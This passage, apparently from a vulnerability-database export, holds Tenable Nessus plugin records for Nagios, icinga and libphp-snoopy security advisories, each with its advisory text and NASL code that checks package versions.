preg(pattern:\"^(14\\.04|16\\.04|16\\.10)$\", string:release)) audit(AUDIT_OS_NOT, \"Ubuntu 14.04 / 16.04 / 16.10\", \"Ubuntu \" + release);\nif ( ! get_kb_item(\"Host/Debian/dpkg-l\") ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Ubuntu\", cpu);\n\nflag = 0;\n\nif (ubuntu_check(osver:\"14.04\", pkgname:\"nagios3-cgi\", pkgver:\"3.5.1-1ubuntu1.1\")) flag++;\nif (ubuntu_check(osver:\"14.04\", pkgname:\"nagios3-core\", pkgver:\"3.5.1-1ubuntu1.1\")) flag++;\nif (ubuntu_check(osver:\"16.04\", pkgname:\"nagios3-cgi\", pkgver:\"3.5.1.dfsg-2.1ubuntu1.1\")) flag++;\nif (ubuntu_check(osver:\"16.04\", pkgname:\"nagios3-core\", pkgver:\"3.5.1.dfsg-2.1ubuntu1.1\")) flag++;\nif (ubuntu_check(osver:\"16.10\", pkgname:\"nagios3-cgi\", pkgver:\"3.5.1.dfsg-2.1ubuntu3.1\")) flag++;\nif (ubuntu_check(osver:\"16.10\", pkgname:\"nagios3-core\", pkgver:\"3.5.1.dfsg-2.1ubuntu3.1\")) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"nagios3-cgi / nagios3-core\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-12T09:40:12", "description": "Several issues were corrected in nagios3, a monitoring and management\nsystem for hosts, services and networks.\n\nCVE-2018-18245\n\nMaximilian Boehner of usd AG found a cross-site scripting (XSS)\nvulnerability in Nagios Core. This vulnerability allows attackers to\nplace malicious JavaScript code into the web frontend through\nmanipulation of plugin output. In order to do this the attacker needs\nto be able to manipulate the output returned by nagios checks, e.g. by\nreplacing a plugin on one of the monitored endpoints. Execution of the\npayload then requires that an authenticated user creates an alert\nsummary report which contains the corresponding output.\n\nCVE-2016-9566\n\nIt was discovered that local users with access to an account in the\nnagios group are able to gain root privileges via a symlink attack on\nthe debug log file.\n\nCVE-2014-1878\n\nAn issue was corrected that allowed remote attackers to cause a\nstack-based buffer overflow and subsequently a denial of service\n(segmentation fault) via a long message to cmd.cgi.\n\nCVE-2013-7205 | CVE-2013-7108\n\nA flaw was corrected in Nagios that could be exploited to cause a\ndenial of service. This vulnerability is induced due to an off-by-one\nerror within the process_cgivars() function, which can be exploited to\ncause an out-of-bounds read by sending a specially crafted key value\nto the Nagios web UI.\n\nFor Debian 8 'Jessie', these problems have been fixed in version\n3.5.1.dfsg-2+deb8u1.\n\nWe recommend that you upgrade your nagios3 packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.", "edition": 16, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2018-12-27T00:00:00", "title": "Debian DLA-1615-1 : nagios3 security update", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-9566", "CVE-2018-18245", "CVE-2014-1878", "CVE-2013-7205", "CVE-2013-7108"], "modified": "2018-12-27T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:nagios3-common", "p-cpe:/a:debian:debian_linux:nagios3-core", "cpe:/o:debian:debian_linux:8.0", "p-cpe:/a:debian:debian_linux:nagios3", "p-cpe:/a:debian:debian_linux:nagios3-dbg", "p-cpe:/a:debian:debian_linux:nagios3-doc", "p-cpe:/a:debian:debian_linux:nagios3-cgi"], "id": "DEBIAN_DLA-1615.NASL", "href": "https://www.tenable.com/plugins/nessus/119875", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Debian Security Advisory DLA-1615-1. The text\n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(119875);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2013-7108\", \"CVE-2013-7205\", \"CVE-2014-1878\", \"CVE-2016-9566\", \"CVE-2018-18245\");\n script_bugtraq_id(64363, 64489, 65605);\n\n script_name(english:\"Debian DLA-1615-1 : nagios3 security update\");\n script_summary(english:\"Checks dpkg output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Several issues were corrected in nagios3, a monitoring and management\nsystem for hosts, services and networks.\n\nCVE-2018-18245\n\nMaximilian Boehner of usd AG found a cross-site scripting (XSS)\nvulnerability in Nagios Core. This vulnerability allows attackers to\nplace malicious JavaScript code into the web frontend through\nmanipulation of plugin output. In order to do this the attacker needs\nto be able to manipulate the output returned by nagios checks, e.g. by\nreplacing a plugin on one of the monitored endpoints. Execution of the\npayload then requires that an authenticated user creates an alert\nsummary report which contains the corresponding output.\n\nCVE-2016-9566\n\nIt was discovered that local users with access to an account in the\nnagios group are able to gain root privileges via a symlink attack on\nthe debug log file.\n\nCVE-2014-1878\n\nAn issue was corrected that allowed remote attackers to cause a\nstack-based buffer overflow and subsequently a denial of service\n(segmentation fault) via a long message to cmd.cgi.\n\nCVE-2013-7205 | CVE-2013-7108\n\nA flaw was corrected in Nagios that could be exploited to cause a\ndenial of service. This vulnerability is induced due to an off-by-one\nerror within the process_cgivars() function, which can be exploited to\ncause an out-of-bounds read by sending a specially crafted key value\nto the Nagios web UI.\n\nFor Debian 8 'Jessie', these problems have been fixed in version\n3.5.1.dfsg-2+deb8u1.\n\nWe recommend that you upgrade your nagios3 packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://lists.debian.org/debian-lts-announce/2018/12/msg00014.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/jessie/nagios3\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Upgrade the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:nagios3\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:nagios3-cgi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:nagios3-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:nagios3-core\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:nagios3-dbg\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:nagios3-doc\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:8.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/01/15\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/12/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/12/27\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2018-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"8.0\", prefix:\"nagios3\", reference:\"3.5.1.dfsg-2+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"nagios3-cgi\", reference:\"3.5.1.dfsg-2+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"nagios3-common\", reference:\"3.5.1.dfsg-2+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"nagios3-core\", reference:\"3.5.1.dfsg-2+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"nagios3-dbg\", reference:\"3.5.1.dfsg-2+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"nagios3-doc\", reference:\"3.5.1.dfsg-2+deb8u1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-12T11:05:50", "description": "The remote host is affected by the vulnerability described in GLSA-201702-26\n(Nagios: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in Nagios. Please review\n the CVE identifiers referenced below for details.\n \nImpact :\n\n A local attacker, who either is already Nagios’s system user or\n belongs to Nagios’s group, could potentially escalate privileges.\n In addition, a remote attacker could read or write to arbitrary files by\n spoofing a crafted response from the Nagios RSS feed server.\n \nWorkaround :\n\n There is no known workaround at this time.", "edition": 23, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2017-02-21T00:00:00", "title": "GLSA-201702-26 : Nagios: Multiple vulnerabilities", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-9565", "CVE-2016-9566", "CVE-2008-4796", "CVE-2008-7313", "CVE-2016-8641"], "modified": "2017-02-21T00:00:00", "cpe": ["cpe:/o:gentoo:linux", "p-cpe:/a:gentoo:linux:nagios-core"], "id": "GENTOO_GLSA-201702-26.NASL", "href": "https://www.tenable.com/plugins/nessus/97269", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Gentoo Linux Security Advisory GLSA 201702-26.\n#\n# The advisory text is Copyright (C) 2001-2017 Gentoo Foundation, Inc.\n# and licensed under the Creative Commons - Attribution / Share Alike \n# license. See http://creativecommons.org/licenses/by-sa/3.0/\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(97269);\n script_version(\"3.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2008-4796\", \"CVE-2008-7313\", \"CVE-2016-8641\", \"CVE-2016-9565\", \"CVE-2016-9566\");\n script_xref(name:\"GLSA\", value:\"201702-26\");\n\n script_name(english:\"GLSA-201702-26 : Nagios: Multiple vulnerabilities\");\n script_summary(english:\"Checks for updated package(s) in /var/db/pkg\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Gentoo host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The remote host is affected by the vulnerability described in GLSA-201702-26\n(Nagios: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in Nagios. Please review\n the CVE identifiers referenced below for details.\n \nImpact :\n\n A local attacker, who either is already Nagios’s system user or\n belongs to Nagios’s group, could potentially escalate privileges.\n In addition, a remote attacker could read or write to arbitrary files by\n spoofing a crafted response from the Nagios RSS feed server.\n \nWorkaround :\n\n There is no known workaround at this time.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security.gentoo.org/glsa/201702-26\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"All Nagios users should upgrade to the latest version:\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=net-analyzer/nagios-core-4.2.4'\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(94);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:gentoo:linux:nagios-core\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:gentoo:linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/02/21\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/02/21\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Gentoo Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Gentoo/release\", \"Host/Gentoo/qpkg-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"qpkg.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Gentoo/release\")) audit(AUDIT_OS_NOT, \"Gentoo\");\nif (!get_kb_item(\"Host/Gentoo/qpkg-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (qpkg_check(package:\"net-analyzer/nagios-core\", unaffected:make_list(\"ge 4.2.4\"), vulnerable:make_list(\"lt 4.2.4\"))) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = qpkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"Nagios\");\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-12T09:43:41", "description": "It was discovered that missing input sanitizing in Snoopy, a PHP class\nthat simulates a web browser may result in the execution of arbitrary\ncommands.\n\nFor the oldoldstable distribution (squeeze-lts), this problem has been\nfixed in version 2.0.0-1~deb6u1.\n\nWe recommend that you upgrade your libphp-snoopy packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.", "edition": 17, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2015-12-01T00:00:00", "title": "Debian DLA-357-1 : libphp-snoopy security update", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-7313", "CVE-2014-5008"], "modified": "2015-12-01T00:00:00", "cpe": ["cpe:/o:debian:debian_linux:6.0", "p-cpe:/a:debian:debian_linux:libphp-snoopy"], "id": "DEBIAN_DLA-357.NASL", "href": "https://www.tenable.com/plugins/nessus/87112", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Debian Security Advisory DLA-357-1. The text\n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(87112);\n script_version(\"2.9\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2008-7313\", \"CVE-2014-5008\");\n script_bugtraq_id(68419, 68776);\n\n script_name(english:\"Debian DLA-357-1 : libphp-snoopy security update\");\n script_summary(english:\"Checks dpkg output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"It was discovered that missing input sanitizing in Snoopy, a PHP class\nthat simulates a web browser may result in the execution of arbitrary\ncommands.\n\nFor the oldoldstable distribution (squeeze-lts), this problem has been\nfixed in version 2.0.0-1~deb6u1.\n\nWe recommend that you upgrade your libphp-snoopy packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://lists.debian.org/debian-lts-announce/2015/11/msg00018.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/squeeze-lts/libphp-snoopy\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Upgrade the affected libphp-snoopy package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:libphp-snoopy\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:6.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2015/11/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2015/12/01\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2015-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"6.0\", prefix:\"libphp-snoopy\", reference:\"2.0.0-1~deb6u1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-12T09:43:57", "description": "Two fixes for the Classic UI :\n\n - fix off-by-one memory access in process_cgivars()\n (CVE-2013-7108)\n\n - prevent possible buffer overflows in cmd.cgi\n (CVE-2014-1878)\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.", "edition": 15, "published": "2015-03-26T00:00:00", "title": "Debian DLA-60-1 : icinga security update", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2014-1878", "CVE-2013-7108"], "modified": "2015-03-26T00:00:00", "cpe": ["cpe:/o:debian:debian_linux:6.0", "p-cpe:/a:debian:debian_linux:icinga-dbg", "p-cpe:/a:debian:debian_linux:icinga-doc", "p-cpe:/a:debian:debian_linux:icinga-phpapi", "p-cpe:/a:debian:debian_linux:icinga-idoutils", "p-cpe:/a:debian:debian_linux:icinga-core", "p-cpe:/a:debian:debian_linux:icinga-cgi", "p-cpe:/a:debian:debian_linux:icinga", "p-cpe:/a:debian:debian_linux:icinga-common"], "id": "DEBIAN_DLA-60.NASL", "href": "https://www.tenable.com/plugins/nessus/82205", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Debian Security Advisory DLA-60-1. The text\n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(82205);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2013-7108\", \"CVE-2014-1878\");\n script_bugtraq_id(64363, 65605);\n\n script_name(english:\"Debian DLA-60-1 : icinga security update\");\n script_summary(english:\"Checks dpkg output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Two fixes for the Classic UI :\n\n - fix off-by-one memory access in process_cgivars()\n (CVE-2013-7108)\n\n - prevent possible buffer overflows in cmd.cgi\n (CVE-2014-1878)\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://lists.debian.org/debian-lts-announce/2014/09/msg00017.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/squeeze-lts/icinga\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Upgrade the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:icinga\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:icinga-cgi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:icinga-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:icinga-core\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:icinga-dbg\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:icinga-doc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:icinga-idoutils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:icinga-phpapi\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:6.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/09/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2015/03/26\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2015-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"6.0\", prefix:\"icinga\", reference:\"1.0.2-2+squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"icinga-cgi\", reference:\"1.0.2-2+squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"icinga-common\", reference:\"1.0.2-2+squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"icinga-core\", reference:\"1.0.2-2+squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"icinga-dbg\", reference:\"1.0.2-2+squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"icinga-doc\", reference:\"1.0.2-2+squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"icinga-idoutils\", reference:\"1.0.2-2+squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"icinga-phpapi\", reference:\"1.0.2-2+squeeze2\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 5.5, "vector": "AV:N/AC:L/Au:S/C:P/I:N/A:P"}}, {"lastseen": "2021-01-07T10:49:25", "description": "Eric Stanley reports :\n\nMost CGIs previously incremented the input variable counter twice when\nit encountered a long key value. This could cause the CGI to read past\nthe end of the list of CGI variables.", "edition": 22, "published": "2014-01-15T00:00:00", "title": "FreeBSD : nagios -- denial of service vulnerability (ba04a373-7d20-11e3-8992-00132034b086)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-7205", "CVE-2013-7108"], "modified": "2014-01-15T00:00:00", "cpe": ["cpe:/o:freebsd:freebsd", "p-cpe:/a:freebsd:freebsd:nagios"], "id": "FREEBSD_PKG_BA04A3737D2011E3899200132034B086.NASL", "href": "https://www.tenable.com/plugins/nessus/71961", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the FreeBSD VuXML database :\n#\n# Copyright 2003-2018 Jacques Vidrine and contributors\n#\n# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,\n# HTML, PDF, PostScript, RTF and so forth) with or without modification,\n# are permitted provided that the following conditions are met:\n# 1. Redistributions of source code (VuXML) must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer as the first lines of this file unmodified.\n# 2. Redistributions in compiled form (transformed to other DTDs,\n# published online in any format, converted to PDF, PostScript,\n# RTF and other formats) must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer\n# in the documentation and/or other materials provided with the\n# distribution.\n# \n# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS\n# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,\n# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(71961);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2013-7108\", \"CVE-2013-7205\");\n\n script_name(english:\"FreeBSD : nagios -- denial of service vulnerability (ba04a373-7d20-11e3-8992-00132034b086)\");\n script_summary(english:\"Checks for updated package in pkg_info output\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote FreeBSD host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Eric Stanley reports :\n\nMost CGIs previously incremented 